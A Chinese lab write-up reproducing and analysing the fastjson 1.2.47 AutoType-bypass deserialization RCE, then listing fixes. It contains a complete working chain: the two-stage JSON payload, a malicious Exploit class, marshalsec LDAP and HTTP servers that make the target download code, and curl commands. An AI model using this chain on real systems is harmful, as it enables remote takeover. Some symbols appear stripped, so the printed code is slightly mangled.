fastjson 1.2.47 反序列化漏洞复现与代码分析 一、漏洞简介漏洞编号CVE‑2019‑12347fastjson 是阿里巴巴开源的 Java JSON 解析库在很多 Java Web 项目中被广泛使用。fastjson 支持通过type字段指定反序列化类型这个机制被称为 AutoType。在 fastjson 1.2.47 版本中即使 AutoType 处于关闭状态也可以通过java.lang.Class缓存投毒的方式将危险类提前加入 fastjson 内部缓存随后再次反序列化该危险类时绕过 AutoType 校验最终配合 JNDI gadget 触发远程代码执行。本文复现的是fastjson 1.2.47 反序列化远程代码执行漏洞漏洞核心 payload{ a: { type: java.lang.Class, val: com.sun.rowset.JdbcRowSetImpl }, b: { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://192.168.3.xxx:1389/Exploit, autoCommit: true } }二、实验环境角色系统IP说明靶机Ubuntu192.168.3.xxx部署 Tomcat fastjson攻击机Kali Linux192.168.3.xxx启动 HTTP 和 LDAP 服务JDKJDK 8u181-支持 LDAP 远程加载 classTomcatTomcat 9.0.108-Web 容器fastjson1.2.47-目标漏洞版本marshalsecLDAPRefServer-搭建 LDAP Reference 服务JDK 版本需要注意建议使用JDK 8u181或更低版本。高版本 JDK 默认禁用了 LDAP 远程 codebase 加载可能会出现 LDAP 有连接但不下载Exploit.class的情况。查看 JDKjava -version查看 Tomcat 实际使用的 JVM/opt/tomcat9/bin/version.sh三、切换 fastjson 版本进入已有项目cd ~/lab/fastjson-lab修改pom.xml将 fastjson 版本改为1.2.47dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.47/version /dependency完整pom.xml示例project xmlnshttp://maven.apache.org/POM/4.0.0 xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd modelVersion4.0.0/modelVersion groupIdcom.lab/groupId artifactIdfastjson-lab/artifactId version1.0-SNAPSHOT/version packagingwar/packaging dependencies dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.47/version /dependency dependency groupIdjavax.servlet/groupId artifactIdjavax.servlet-api/artifactId version3.1.0/version scopeprovided/scope /dependency /dependencies build finalNamefastjson-lab/finalName /build /project确认依赖版本mvn dependency:tree | grep fastjson应看到com.alibaba:fastjson:jar:1.2.47四、关闭 AutoTypefastjson 1.2.47 的典型利用点是AutoType 关闭时仍可通过缓存绕过触发危险类加载。如果之前复现1.2.41时添加过FastjsonConfigListener其中可能有ParserConfig.getGlobalInstance().setAutoTypeSupport(true);复现 1.2.47 时建议不要注册该监听器。修改web.xmlnano src/main/webapp/WEB-INF/web.xml内容改为web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee version3.1 /web-app这样FastjsonConfigListener即使存在于源码目录中也不会被 Tomcat 执行。五、测试 Servlet 代码ParseServlet.java继续使用之前的代码即可package com.lab; import com.alibaba.fastjson.JSON; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; WebServlet(/parse) public class ParseServlet extends HttpServlet { Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType(text/plain;charsetUTF-8); resp.getWriter().write(fastjson 1.2.47 lab is running); } Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { StringBuilder sb new StringBuilder(); BufferedReader br req.getReader(); String line; while ((line br.readLine()) ! null) { sb.append(line); } resp.setContentType(text/plain;charsetUTF-8); try { Object obj JSON.parseObject(sb.toString(), Object.class); resp.getWriter().write(parse success\n); resp.getWriter().write(String.valueOf(obj)); } catch (Throwable e) { resp.setStatus(500); resp.getWriter().write(parse error\n); e.printStackTrace(resp.getWriter()); } } }关键代码是Object obj JSON.parseObject(sb.toString(), Object.class);程序直接解析用户传入的 JSON 数据。当 JSON 中存在type字段时会进入 fastjson 的类型解析流程。六、重新打包并部署打包cd ~/lab/fastjson-lab mvn clean package确认 war 包中只有fastjson-1.2.47.jarjar tf target/fastjson-lab.war | grep fastjson应看到WEB-INF/lib/fastjson-1.2.47.jar停止 Tomcat 并清理旧部署sudo /opt/tomcat9/bin/shutdown.sh sudo rm -rf /opt/tomcat9/webapps/fastjson-lab sudo rm -f /opt/tomcat9/webapps/fastjson-lab.war部署新的 warsudo cp target/fastjson-lab.war /opt/tomcat9/webapps/ sudo /opt/tomcat9/bin/startup.sh确认实际部署版本ls -l /opt/tomcat9/webapps/fastjson-lab/WEB-INF/lib/应看到fastjson-1.2.47.jar测试接口curl http://192.168.3.xxx:8080/fastjson-lab/parse正常返回fastjson 1.2.47 lab is running七、Kali 准备恶意类在 Kali 上mkdir -p ~/fastjson-exp cd ~/fastjson-exp nano Exploit.java写入public class Exploit { static { try { String[] cmd {/bin/sh, -c, whoami /tmp/pwned_1247}; Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }编译javac --release 8 Exploit.java确认ls -l Exploit.class八、启动 HTTP 与 LDAP 服务Kali 第一个终端启动 HTTP 服务cd ~/fastjson-exp python3 -m http.server 8000Kali 第二个终端启动 LDAP 服务cd ~/marshalsec java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \ marshalsec.jndi.LDAPRefServer http://192.168.3.xxx:8000/#Exploit 1389九、发送 Payload为了证明 AutoType 已经关闭可以先发送普通JdbcRowSetImplpayloadcurl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H Content-Type: application/json \ -d {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.3.xxx:1389/Exploit,autoCommit:true}如果返回autoType is not support说明 AutoType 确实处于关闭状态。然后发送 1.2.47 两段式 payloadcurl -X POST http://192.168.3.xxx:8080/fastjson-lab/parse \ -H Content-Type: application/json \ -d {a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.3.xxx:1389/Exploit,autoCommit:true}}十、验证结果Kali 的 LDAP 窗口应看到类似Send LDAP reference result for Exploit redirecting to http://192.168.3.xxx:8000/Exploit.classKali 的 HTTP 窗口应看到GET /Exploit.class HTTP/1.1 200Ubuntu 靶机上查看cat /tmp/pwned_1247如果输出root说明命令执行成功fastjson 1.2.47 漏洞复现成功。十一、fastjson 1.2.47 代码分析1. 入口JSON.parseObject在 Servlet 中调用的是Object obj JSON.parseObject(sb.toString(), Object.class);fastjson 内部会创建DefaultJSONParser然后解析 JSON。当解析到type字段时会进入类型解析逻辑。大致调用链如下JSON.parseObject() - DefaultJSONParser.parseObject() - JavaBeanDeserializer.deserialze() - ParserConfig.checkAutoType() - TypeUtils.loadClass()对于 payload{ a: { type: java.lang.Class, val: com.sun.rowset.JdbcRowSetImpl }, b: { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://192.168.3.xxx:1389/Exploit, autoCommit: true } }fastjson 会先解析a再解析b。2. 第一段 payload加载java.lang.Class第一段内容a: { type: java.lang.Class, val: com.sun.rowset.JdbcRowSetImpl }这里指定的类型是java.lang.Classjava.lang.Class属于 fastjson 内部默认支持的基础类型之一因此即使 AutoType 关闭也可以被解析。fastjson 在处理java.lang.Class时会进入MiscCodec的反序列化逻辑。其核心逻辑可以概括为if (clazz Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }其中strVal就是 payload 中的com.sun.rowset.JdbcRowSetImpl也就是说第一段 payload 的作用是让 fastjson 主动加载com.sun.rowset.JdbcRowSetImpl十二、缓存投毒原理分析当 fastjson 解析第一段 payload 时TypeUtils.loadClass()会加载com.sun.rowset.JdbcRowSetImpl类并将其放入内部缓存中。关键代码在TypeUtils.loadClass()方法中public static Class? loadClass(String className, ClassLoader classLoader) { // 先从缓存中查找 if (mappings.containsKey(className)) { return mappings.get(className); } // 如果缓存中没有则加载并放入缓存 Class? clazz ... // 加载类 mappings.put(className, clazz); return clazz; }在 fastjson 1.2.47 版本中即使 AutoType 关闭java.lang.Class这个基础类型仍然会被解析导致com.sun.rowset.JdbcRowSetImpl被加载并放入mappings缓存。当解析第二段 payload 时ParserConfig.checkAutoType()会检查缓存public Class? checkAutoType(String typeName, Class? expectClass) { // 如果类名在缓存中直接返回不进行 AutoType 校验 if (mappings.containsKey(typeName)) { return mappings.get(typeName); } // 如果 AutoType 关闭这里会抛出异常 if (!autoTypeSupport) { throw new JSONException(autoType is not support); } // ... 其他校验逻辑 }由于com.sun.rowset.JdbcRowSetImpl已经在缓存中所以即使 AutoType 关闭也会直接返回该类绕过了安全检查。十三、防御与修复建议1. 升级 fastjson 版本最直接的修复方式是升级到安全版本fastjson 1.2.48 修复了该漏洞建议升级到最新稳定版本2. 禁用 AutoType如果因兼容性原因无法升级可以彻底禁用 AutoTypeParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 或者使用安全模式 ParserConfig.getGlobalInstance().setSafeMode(true);3. 使用白名单机制对于必须使用 AutoType 的场景建议配置白名单ParserConfig.getGlobalInstance().addAccept(com.example.); ParserConfig.getGlobalInstance().addAccept(org.example.);4. 输入验证与过滤在接收 JSON 数据前进行验证过滤包含type字段的请求限制 JSON 数据大小使用安全的 JSON 解析库替代十四、总结fastjson 1.2.47 反序列化漏洞的核心在于缓存投毒利用java.lang.Class这个基础类型将危险类提前加载到 fastjson 内部缓存绕过校验当危险类已在缓存中时即使 AutoType 关闭也能绕过安全检查JNDI 注入配合JdbcRowSetImpl等 gadget 触发远程代码执行该漏洞的修复方案包括升级到 fastjson 1.2.48 或更高版本彻底禁用 AutoType 功能配置严格的白名单机制对用户输入进行严格验证在实际开发中建议定期更新依赖库到最新安全版本避免直接反序列化不可信的 JSON 数据在生产环境中关闭不必要的功能使用安全扫描工具定期检查项目依赖通过本文的复现与分析可以更深入地理解 fastjson 反序列化漏洞的原理从而在实际开发中更好地防范此类安全问题。